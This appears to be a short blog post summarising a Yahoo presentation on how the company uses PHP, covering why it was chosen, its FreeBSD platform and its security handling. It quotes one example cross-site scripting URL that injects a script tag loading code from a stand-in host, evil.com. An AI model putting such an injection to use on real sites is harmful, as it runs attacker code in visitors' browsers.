I’ve always been reading up on what’s going on at Yahoo! ever since they poached Rasmus Lerdof (The guy who founded PHP). I always read bits here and there, but nothing officially from Yahoo on how they actually deploy and use the PHP language internally.

I recently found this presentation on the web which gives you a brief overview on how PHP is used at Yahoo. It’s very short, but quite interesting. Some things that stuck out to me. They go through what criteria made them decide to go with PHP (such things as High performance, Robust, sand-boxed, Language features, Runs on FreeBSD and Low training costs). Looks like they mostly run FreeBSD for their platform. They also go though through the architecture there:

They also talk about how security (which isnt the best in PHP) is handled, with Cross Site Scripting (XSS) being the most common type of attack they have. Eg;
http://search.yahoo.com/search?p=\<\ script+src=http://evil.com/x.js \>
This is something I have seen a lot happen with our lovely hackable friend Mr PHPBB. I just though I would share it as I found it very interesting, as I am very excited to see it’s uptake in the enterprise.